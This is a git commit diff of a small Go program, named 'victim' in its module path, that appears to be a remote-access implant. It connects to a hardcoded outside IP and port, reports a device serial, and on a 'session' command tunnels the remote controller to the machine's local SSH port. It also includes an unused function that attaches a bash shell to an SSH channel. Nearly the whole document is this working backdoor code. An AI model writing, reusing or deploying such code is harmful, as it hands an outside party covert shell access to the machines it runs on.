commit ce74e0c0b0e122aa16da1cc00db11e0b5800f4c8 Author: Alexander Lazarenko Date: Tue Jul 23 00:59:32 2024 +0300 Initial commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e69de29 diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..f974bba --- /dev/null +++ b/go.mod @@ -0,0 +1,8 @@ +module gitea.unprism.ru/KRBL/Zirconn/victim + +go 1.22.4 + +require ( + golang.org/x/crypto v0.25.0 // indirect + golang.org/x/sys v0.22.0 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..c339b1b --- /dev/null +++ b/go.sum @@ -0,0 +1,4 @@ +golang.org/x/crypto v0.25.0 h1:ypSNr+bnYL2YhwoMt2zPxHFmbAN1KZs/njMG3hxUp30= +golang.org/x/crypto v0.25.0/go.mod h1:T+wALwcMOSE0kXgUAnPAHqTLW+XHgcELELW8VaDgm/M= +golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI= +golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= diff --git a/main.go b/main.go new file mode 100644 index 0000000..3b4d241 --- /dev/null +++ b/main.go @@ -0,0 +1,110 @@ +package main + +import ( + _ "embed" + "fmt" + "gitea.unprism.ru/KRBL/Zirconn/victim/protocol" + "golang.org/x/crypto/ssh" + "io" + "log" + "net" + "os/exec" + "strings" + "syscall" +) + +const addr = "62.217.183.220:8080" + +//go:embed serial +var serial string + +func init() { + log.Printf("Serial: %s", serial) +} + +func openNewConnection(sessionID string) { + var err error + var conn net.Conn + + if conn, err = net.Dial("tcp", addr); err != nil { + log.Printf("Error: %v", err) + return + } + + var pack protocol.Package + + pack.Message = fmt.Sprintf("session %s", sessionID) + conn.Write(pack.Pack()) + + var sshConn net.Conn + if sshConn, err = net.Dial("tcp", "localhost:22"); err != nil { + log.Printf("Error: %v", err) + return + } + + go func() { + io.Copy(conn, sshConn) + }() + + go func() { + io.Copy(sshConn, conn) + }() +} + +func execShell(channel ssh.Channel) { + shell := exec.Command("/bin/bash") + shell.SysProcAttr = &syscall.SysProcAttr{ + Setsid: true, + } + shell.Stdin = channel + shell.Stdout = channel + shell.Stderr = channel + shell.Run() + channel.Close() +} + +func main() { + var err error + var conn net.Conn + + if conn, err = net.Dial("tcp", addr); err != nil { + log.Printf("Error: %v", err) + return + } + + var buff [512]byte + var pack protocol.Package + + pack.Message = fmt.Sprintf("device %s", serial) + + if _, err = conn.Write(pack.Pack()); err != nil { + log.Printf("Error: %v", err) + return + } + + for { + var n int + if n, err = conn.Read(buff[:]); err != nil { + log.Printf("Error: %v", err) + return + } + + pack.AddToBuffer(buff[:n]) + + for pack.Read() { + var parts = strings.Split(pack.Message, " ") + + switch parts[0] { + case "session": + if len(parts) != 2 { + log.Printf("Command !connect requires 1 argument, got %d", len(parts)-1) + continue + } + + go openNewConnection(parts[1]) + default: + log.Printf("Unknown command: %s", parts[0]) + } + } + } +} diff --git a/protocol/main.go b/protocol/main.go new file mode 100644 index 0000000..eb6fa31 --- /dev/null +++ b/protocol/main.go @@ -0,0 +1,38 @@ +package protocol + +func (p *Package) AddToBuffer(data []byte) { + p.buffer = append(p.buffer, data...) +} + +func (p *Package) Read() bool { + var l int32 + + if len(p.buffer) < 4 { + return false + } + + // Read the length of the message + l = int32(p.buffer[0]) | int32(p.buffer[1])<<8 | int32(p.buffer[2])<<16 | int32(p.buffer[3])<<24 + + if len(p.buffer) < int(l)+4 { + return false + } + + p.Message = string(p.buffer[4 : l+4]) + p.buffer = p.buffer[l+4:] + + return true +} + +func (p *Package) Pack() []byte { + var l = int32(len([]byte(p.Message))) + + var b = []byte{ + byte(l), + byte(l >> 8), + byte(l >> 16), + byte(l >> 24), + } + + return append(b, []byte(p.Message)...) +} diff --git a/protocol/scheme.go b/protocol/scheme.go new file mode 100644 index 0000000..aafd7fa --- /dev/null +++ b/protocol/scheme.go @@ -0,0 +1,6 @@ +package protocol + +type Package struct { + buffer []byte + Message string +} diff --git a/serial b/serial new file mode 100644 index 0000000..688c305 --- /dev/null +++ b/serial @@ -0,0 +1 @@ +testDevice \ No newline at end of file